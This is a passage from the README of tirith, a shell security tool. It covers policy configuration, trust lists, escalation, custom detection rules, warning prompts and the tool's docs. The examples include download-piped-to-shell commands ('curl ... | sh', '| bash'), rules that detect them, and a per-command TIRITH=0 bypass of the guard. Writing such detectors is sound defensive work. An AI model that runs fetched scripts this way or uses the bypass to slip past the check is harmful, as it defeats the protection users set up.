      include: ["*.md", "*.json", "*.yaml", ".claude/*"]
      fail_on: high
```

Use `allowlist_rules` for rule-scoped suppressions when you trust a source for one rule but do not want to globally allowlist it:

```yaml
allowlist_rules:
  - rule_id: curl_pipe_shell
    patterns:
      - "get.docker.com"
```

`allowlist` and `allowlist_rules` patterns match **only URLs** extracted from
the input that appear in a finding's evidence. They never match raw command
text, and a finding with no URL evidence can never be suppressed by an
allowlist, so a command-shaped pattern like `launchctl list` is inert. Patterns
use the same grammar as `tirith trust`: a pattern containing `://`, `/`, `?`,
or `#` is an exact match on the normalized URL (anchored, query and fragment
significant); a bare dotted host such as `get.docker.com` matches that domain
and its subdomains; `*.example.com` is an explicit wildcard; a bare token
without a dot is a substring match against the URL text, unless that token is a
public suffix such as `com` or `dev`, in which case it is treated as a domain
match against the URL's host and matches every host under it. Inspect what a
policy resolves to with `tirith policy effective`, and check a specific command
with `tirith policy test '<command>'`.

### Managing trust from the CLI

`tirith trust` manages trusted patterns without hand-editing policy YAML. Trust
is **narrow and expiring by default**: trust the most specific thing that
works, and entries expire after 30 days unless you opt out.

```bash
# Narrowest scope, a specific URL or path is accepted as-is, 30-day TTL.
# A schemeless host/path is normalized as HTTPS for exact matching.
tirith trust add raw.githubusercontent.com/org/repo/main/get.sh

# A whole domain / wildcard / bare TLD is broad, it must be opted into.
tirith trust add get.docker.com --broad --rule curl_pipe_shell

# Opt out of the default TTL, and record why the entry exists.
tirith trust add example.com --broad --permanent --reason "internal mirror, OPS-42"

tirith trust list                 # scope class per entry; '!' marks broad ones
tirith trust explain example.com  # what it covers, when it expires, why added
tirith trust diff                 # what changed in the trust set
tirith trust gc --expired         # drop expired entries
```

Each entry's **scope** is classified as `exact`, `substring`, `domain`,
`wildcard`, or `bare-TLD`. Every non-exact scope (`substring` / `domain` /
`wildcard` / `bare-TLD`) requires `--broad`, so a sweeping allow is always a
deliberate choice. Exact URLs use normalized URL equality (including scheme,
host, effective port, path, query, and fragment), never substring matching. All
subcommands support `--format json`. Trust stores written by older versions of
tirith keep working unchanged, an entry with no TTL is treated as permanent.

### Escalation and action overrides

Warnings are tracked per session. If the same rule fires repeatedly, escalation rules can upgrade to a block:

```yaml
action_overrides:
  shortened_url: block            # always block, regardless of default severity

escalation:
  - trigger: repeat_count
    rule_ids: ["*"]               # any rule
    threshold: 5
    window_minutes: 60
    action: block
  - trigger: multi_medium
    min_findings: 3               # 3+ medium findings on one command → block
    action: block
```

Review accumulated warnings at any time:

```bash
tirith warnings               # table of session warnings
tirith warnings --format json # structured output
tirith warnings --clear       # clear after viewing
```

On shell exit, a one-line summary is printed if any warnings were recorded during the session.

More examples in [docs/cookbook.md](docs/cookbook.md).

### Custom detection rules

Author your own rules in `.tirith/policy.yaml` under `custom_rules:`. Each rule is either a `pattern:` (regex) or a `when:` semantic predicate tree, plus a `context:` (`exec`, `paste`, or `file`), a `severity:`, and a `title:`.

```yaml
custom_rules:
  - id: no_internal_pastebin
    context: exec
    severity: high
    title: "Internal pastebin is not allowed for piped execution"
    when:
      all:
        - command.has_pipeline_to: [bash, sh]
        - url.host_matches: "paste\\.corp\\.example$"
```

The `when:` DSL combines `all:` / `any:` / `not:` over predicates like `command.has_pipeline_to`, `command.uses_sudo`, `url.host`, `url.host_matches`, `url.reputation`, `url.domain_not_in`, `package.ecosystem`, `package.name_matches`, `package.reputation`, and `file.path_matches`. Reputation predicates read the local signed threat database, so a custom rule still makes no network call on the hot path. Validate and dry-run before committing:

```bash
tirith rule validate                          # check every custom rule: shape + context coverage
tirith rule test --rule no_internal_pastebin --input "echo hi | bash"
tirith rule explain --rule no_internal_pastebin
```

### More policy controls

Other policy keys, all with safe defaults (`tirith policy init` writes the fully-commented set):

- `package_policy:` thresholds turn supply-chain signals into block or warn verdicts (`block_typosquat_distance`, `warn_low_downloads_below`, `block_newer_than_days`, `block_not_found`).
- `agent_rules:` `allow:` / `deny:` match a command's caller origin (`{ kind, name }`); a `deny` match forces a block. `scan.trusted_mcp_servers` and `scan.mcp_allowed_tools` accept specific MCP servers and per-server tools.
- Opt-in guards, default off: `env_guard_enabled`, `exec_guard_enabled`, `hooks_guard_enabled`, `baseline_enabled`, plus `iac_require_plan_before_apply`, `sudo_require_reason`, and `allowed_install_domains`.

Repo-scoped `.tirith/policy.yaml` files can only tighten, never weaken: a repo policy that tries to widen an allowlist, lower a severity, or disable a guard is neutralized, and `tirith policy effective` shows which fields were dropped. Only user-level and org-level (`TIRITH_POLICY_ROOT`) policies can relax a default.

### Strict warn mode

With `strict_warn: true` (or `--strict-warn` on the CLI), medium-risk findings prompt for explicit acknowledgement in interactive terminals instead of silently warning:

```
$ curl -sSL https://get.docker.com | sh

tirith: WARNING
  [MEDIUM] pipe_to_interpreter, Download piped to interpreter
tirith: proceed with 1 warning(s)? [y/N]
```

Shell hooks use exit code 3 for the warn-ack protocol. Old hooks that don't know about exit code 3 fall through to fail-open behavior.

> [!NOTE]
> Exit code 3 is the warn-ack hook protocol path, not the normal direct-CLI contract. Non-hook callers should not normally see exit code 3; if they do, it indicates acknowledgement is required.

### Bypass

For the rare case you know exactly what you're doing:

```bash
TIRITH=0 curl -L https://something.xyz | bash
```

This is a standard shell per-command prefix; the variable exists only for that single command and does not persist in your session. Organizations can disable it entirely with `allow_bypass_env: false` in policy.

> [!CAUTION]
> `TIRITH=0` is per-command. Do not export it in shell profiles, dotfiles, or CI config; a permanent bypass defeats the entire protection model. If you find yourself reaching for it often, add the trusted source to `allowlist` in your policy file instead.

---

## Data handling

Local JSONL audit log at `~/.local/share/tirith/log.jsonl`:
- Timestamp, session ID, action, rule IDs, redacted command preview
- Raw detection data (`raw_action`, `raw_rule_ids`) preserved alongside enforced action for coverage auditing
- Session warning state at `~/.local/state/tirith/sessions/`
- **No** full commands, environment variables, or file contents

Disable: `export TIRITH_LOG=0`

---

## Docs

- [Command reference](docs/commands.md): every subcommand, grouped by category
- [Capability matrix](docs/capability-matrix.md): per-command coverage (what tirith inspects, and whether policy fully governs it)
- [Enforcement coverage](docs/enforcement-coverage.md): per-capability ledger separating detection, preflight decision, execution enforcement, containment, and attestation
- [Threat model](docs/threat-model.md), what tirith defends against and what it doesn't
- [Cookbook](docs/cookbook.md), policy examples for common setups
- [Troubleshooting](docs/troubleshooting.md), shell quirks, latency, false positives
- [Compatibility](docs/compatibility.md), stable vs experimental surface
- [0.4.1 release notes](docs/release-notes-0.4.1.md), what the current patch release changes, and the [0.4.0 release notes](docs/release-notes-0.4.0.md) for the 0.4 line's highlights, limitations, and publication contract
- [Release checklist](docs/release-checklist.md), protected publication sequence and registry verification
- [Security policy](SECURITY.md), vulnerability reporting
- [Uninstall](docs/uninstall.md), clean removal per shell and package manager

Feature guides:

- [Web3 command guard](docs/security/web3-command-guard.md) (the `web3_guard` policy, the three Web3 rules, and command-card v2 bindings)
- [Task envelope](docs/task-envelope.md) (untrusted task provenance, the `task_gate` policy, and the preview MCP tool)
- [Untrusted projects](docs/untrusted-projects.md) (the "somebody sent me a repo" workflow)
- [CI artifact flow](docs/ci-artifact-flow.md) (cross-workflow build-artifact poisoning)
- [Browser extension audit](docs/browser-extension-audit.md) (read-only Chromium-family integrity audit)
- [npm provenance receipt](docs/npm-provenance-receipt.md) (`pkg attest-npm`, and exactly what it does not bind)
- [Attestation receipts](docs/attestation-receipts.md) (point-in-time build and deployment receipts)
- [Rollout and rollback](docs/web3-task-rollout.md) (staged enablement, triggers, and the back-out playbook)
- [Agent governance](docs/agent-governance-design.md) (caller-origin attribution and `agent_rules`)
- [MCP output filter](docs/mcp-output-filter.md) (the gateway and MCP output-sanitization contract)
- [Doctor modes](docs/doctor-modes.md) (full vs `--quick`, and the JSON snapshot schema)
- [LSP and editor profiles](docs/lsp-profiles.md) (inline editor diagnostics)
- [Browser native messaging](docs/browser-native-messaging.md) (clipboard-provenance host and extension)
- [Paste provenance](docs/paste-provenance.md) (the `paste_source_mismatch` rule)
- [Canary formats](docs/canary-formats.md) (synthetic honeytoken formats)
- [Prompt integration](docs/prompt-integration.md) (wiring `tirith prompt-status` into your shell prompt)

## License

**Core security coverage ships in the open-source tree.** All 244 detection rules and the MCP server are available from source. The repository still contains legacy licensing and policy-server code paths, so avoid assuming that every runtime path is already tier-free.

tirith is dual-licensed:

- **AGPL-3.0-only**: [LICENSE-AGPL](LICENSE-AGPL), free under copyleft terms
- **Commercial**: [LICENSE-COMMERCIAL](LICENSE-COMMERCIAL), if AGPL copyleft obligations don't work for your use case, contact contact@tirith.sh for alternative licensing

Third-party data attributions in [NOTICE](NOTICE).

## Star History

[![Star History Chart](https://star-history.dera.page/svg?repos=sheeki03/tirith&type=Date)](https://star-history.dera.page/#sheeki03/tirith&Date)